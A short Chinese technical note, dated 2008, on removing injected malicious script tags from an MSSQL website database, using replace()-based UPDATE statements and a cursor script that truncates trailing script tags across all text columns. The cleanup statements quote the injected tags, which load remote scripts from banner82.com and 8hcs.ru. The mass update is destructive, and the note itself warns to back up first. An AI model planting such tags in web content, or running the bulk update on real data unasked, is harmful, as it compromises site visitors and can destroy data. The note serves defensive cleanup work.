清除数据库mssql挂马方法

--清除数据库挂马的小方法,对于简单的挂马可以清除成功
--使用update 方法用replace()函数替换一些木马脚本
--使用方法 update 表名 set 字段名=replace(字段名, '木马脚本','')
--这种方法有点替换的用法，下面是一个例子

update pimg set src=replace(src,'<script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>','')


--针对其它类型的清除方法,先转换类型在替换
update W_product set detail=replace(convert(nvarchar(4000),detail), '<script src=http://www.8hcs.ru/js.js></script>','')


1:02 2008-8-15
--下面是一个国外人写的清除方法，不过在运行前先备份数据库
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;